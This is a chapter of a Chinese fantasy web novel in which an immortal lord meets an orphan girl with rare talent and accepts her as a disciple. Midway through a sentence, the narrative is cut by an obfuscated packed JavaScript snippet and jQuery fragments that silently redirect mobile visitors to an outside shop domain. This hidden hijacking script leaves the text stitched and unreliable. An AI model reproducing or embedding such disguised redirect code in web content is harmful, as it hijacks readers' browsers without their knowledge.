钟管事小心翼翼地踏进殿中。
殿内看着比外界更加广阔,红柱金顶,巍峨大气,一道道利剑或是悬在墙上,或是化入柱中,剑身锋利,寒光凛凛,如同一座用剑堆砌而成的庞大剑宫。
无声的傀儡侍者面容平滑,没有任何五官,如同一道黑色的影子,不知从何处无声无息地探出身来,吓得钟管事出了一身的冷汗。
那傀儡侍者引着钟管事来到了后殿的一处书阁之中,宽大的墨色书桌后,立着一道虚浮朦胧的身影。
那道身影清直,高挺如松,穿着一身雪白广袖长袍,头戴玉冠,束着墨黑如瀑的长发。
青年仙尊眉眼清幽深远,犹如丹青圣手精心勾勒而成的水墨画卷,墨色浓淡相宜,又如寒霜落雪,高洁出尘中,恍若寒剑收于鞘中,透着锋芒内敛,深不见底的淡漠与平静。
仙尊真身常年镇守于北渊,只会留一具心意相通的化身于道宫中,这是仙尊身边之人都知晓的事情。
钟管事不敢有半分的怠慢,仙人的目光清冽幽冷,如寒潭之水,哪怕没有带着一丝威压,在这股仿佛穿透他的目光中,钟管事也几乎要跪伏下来。
“尊,尊上……”
但他毕竟不是第一次拜见仙尊了,虽然从前是和诸多济孤舍的管事一道求见尊上,钟管事也还是凭借着多年的历练,勉强找回一丝理智地平稳禀报道。
“我先前禀告的那位天生神力的孩子,果然被鉴灵阁测出了,是世间罕见的至纯修仙圣体,她还无师自通晋升到了引气二阶……”
说着说着,钟管事几乎要压抑制不住话语中的兴奋与激动颤音,不过想到应云昭闯下的祸事,钟管事的理智又略微冷静下来。
“不过,那孩子,心性纯善,却是略,略顽皮了些,在城中玩耍的时候,就不慎失手,砸烂过几间屋舍,方才……方才遇到几位世家公子,他们出言不逊,几番羞辱云昭,云昭一时气不过,也不慎,不慎……打伤了他们,连带着不慎……损毁了鉴灵阁旁边的茶室……”
钟管事的声音带着几分磕绊,他自己都不敢数,自己方才的这段话中,带了多少个不慎。
可他实在不敢太过欺瞒仙尊,只能将大半的事实委婉装点了一番,才敢小心禀告出来。
而晏明霄听完了他的这些话,青年的神情淡漠平和,幽黑如墨的眉眼微垂,有如一片寒冽月光,落入幽潭之中,不见多少外露之色。
“带她进来。”
钟管事正要转身去接人,那先前为他引路的傀儡侍者却先一步转身,出了房门。
晏明霄问起了济孤舍有关的近况,钟管事这次格外老实地全盘托出,不敢有分毫遮掩。
北渊仙尊在凡间开设了百处济孤舍,虽有选拔凡间良才,进入道宫之意,可凡人亿以万计,真正拥有进入道宫天资的,也没有几人。
所以他们这些管事,最重要的便是要看顾好济孤舍的孩子,仙尊法眼通天,自然能够看出凡人是否撒谎与刻意隐瞒,而若是有管事中饱私囊,或者苛待孩子,晏明霄自然也不会手下留情。
不过在他的一番询问下,钟管事虽然紧张得额头冷汗直冒,但从他还算流利的应答中,晏明霄能够看出,钟管事至少在济孤舍的管事一职上,还算是尽职尽责。
只是方才在禀告那孩童天资时,中年男人的神情像是刻意隐瞒了点什么。
晏明霄并没有将此事过于放在心上,只要济孤舍管事尽到了职责,就是合用之人,而在一些小事上略有隐瞒,只要无损大局,也无妨。
只是对于那位能让钟管事如此用心,为她再三遮掩,还说尽好话的孩子,晏明霄此刻也不由生出了一点探究之念。
到底是怎样天赋异禀,又顽皮好动的孩子,才让这位从前老实木讷的凡间管事,如今变化得如此之大?
很快,无面傀儡就带着一个头发有些湿漉漉的粉衣女孩,走进了书阁。
女孩仰着一张玉雪可爱的小脸,头发和脸上似乎还带着点半干的水汽,她睁着一双清亮如水的剔透黑眸,毫不畏怯地与晏明霄对视着,露出了一个格外灿烂的笑容。
她脆生生地喊道。
“仙人哥哥!”
钟管事看着应云昭头上,还有脸颊上沾染的那点水珠,忍不住大惊小怪地喊道。
“云昭,你又跑哪去了?!怎么弄得身上这么湿?”
应云昭抹了一把湿润的小脸,如同花骨朵一般灿烂的笑容,又转向了钟管事。
“外面的瀑布好漂亮啊!我忍不住过去玩了一下,然后凉凉的水珠都溅到我脸上了!管事伯伯,你在瀑布那边玩过吗?”
钟管事看着女孩脸上的天真笑容,也忍不住浮现出几分笑意地答道。
“我还没……”
下一刻,他硬生生想起了,现在这是在仙尊面前,不是他们两个在济孤舍里可以闲话的时候。
钟管事硬生生板起脸,冷声斥责道。
“不许胡闹,仙尊的道府,岂是你能随便乱跑的?……”
钟管事絮絮叨叨地念叨着,应云昭也不恼,带笑的小脸看似乖巧地听着,圆滚滚的眼珠却在书房里乱晃,像是一头刚来到新地方,就迫不及待想要探索周围的小狗,好奇地东张西望着。
晏明霄制止住了钟管事的话语。
“好了,不过是孩子爱闹了些,不算什么大事。”
青年的声音清冽,眉目幽深如墨,没有浮现出过多的波澜,如同滴入溪涧中的冰冷雨水。
钟管事立刻识趣地止住了声音,低着头屏住了气息。
晏明霄的面容清逸如雪,冰得如同一尊白玉瓷器,他望着应云昭,面色平静地唤道。
“云昭,过来。”
应云昭脚步轻快地走了过来,似乎一点也不害怕,一点也不受晏明霄话语中的冷意影响。
倒是个胆大的孩子。
晏明霄暗忖道,如此天资,只是心性跳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17654015|206194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脱了些,但也无伤大雅。他收作弟子后,只要稍加磨练,或能成为他的心腹弟子。
道宫事务庞多,他的真身要坐镇于北渊之中,若是遇到危急之时,无暇分身,能培养出一位真正合心意的心腹弟子,倒也能解决他的不少烦忧。
不过想到自己从前收下的四位真传弟子,个个皆是劫数缠身,道途多舛之辈,晏明霄的心淡了淡,想到从前天剑宗为他批下的命数——
弟子缘薄,行且多艰。
罢了,还是不要外求诸事,从前能熬过来的,日后也能这么熬过去。
至于这个孩子——
青年仙尊伸出雪白如玉的修长指节,轻轻点在了女孩的额头上。
不过瞬息之间,应云昭湿漉漉的头发,连带着衣物沾染上的水汽,都消失不见,衣服上还烘烤出了一股热腾腾的,像是被太阳晒了许久的暖意。
应云昭享受地眯了眯眼,女孩脸上不见半点惊慌之色,反倒是主动将毛茸茸的蓬松黑色脑袋,往晏明霄手下凑了凑。
“好舒服,谢谢仙人哥哥。”
像是一只主动凑过来,让人理毛摸头的小狗。
晏明霄修道千载,还没见过这么不畏惧他的孩子。
但他从来不喜欢与他人过多接触,即便知晓如此行事过于不近人情,也还是冷淡地收回手,重提起了不久前的旧事。
“你先前在灵阵岛上,可是与人起过争斗?”
应云昭点了点头,脸上不见半点畏惧与愤怒,反而格外乖巧地从袖中拿出了一根竹棍。
“因为他们骂我和管事伯伯,所以我拿棍子打了他们,把为首之人的两颗牙都打出来了,还不小心把执事师兄的茶室打塌了。仙人哥哥,你能帮我先赔偿执事师兄吗?等我长大了,我再把钱还你。”
在旁边看着的钟管事两眼一黑,不是,他先前都教了云昭,怎么避重就轻,把过错往那三人身上推,怎么云昭轻描淡写地带过起因,直接跳到结果上了?
仙人一向秉公行事,不徇私情,该不会要因此重罚云昭吧?
晏明霄的眼中也闪过一分讶然,他在应云昭这个年纪,心性也没有如此坦荡自然,就如同女孩完全不认为自己做了错事,也不认为他会因为这件事处罚她一样。
他接过应云昭手中的竹棍,墨青色的竹节被磨得格外平滑柔亮,没有一丝杂刺,竹棍的重量也轻若无物。
只是将竹制成棍,而不是制成更锋利毙命的武器,可见这孩子心思纯正,没有暴虐嗜杀之心。
而能用这样平平无奇的凡间武器,就能将修仙世家子弟的牙给砸出来,也可见她在斗法上确实有一定的天赋,也不会是畏缩怯懦的性子。
这样的孩子,也确实能成为他的真传弟子。
只是这略微顽皮的心性,还需要再磨一磨。
晏明霄应道。
“好,不过不必言谢,你是济孤舍的孩子,今日以后,便也是道宫的弟子。”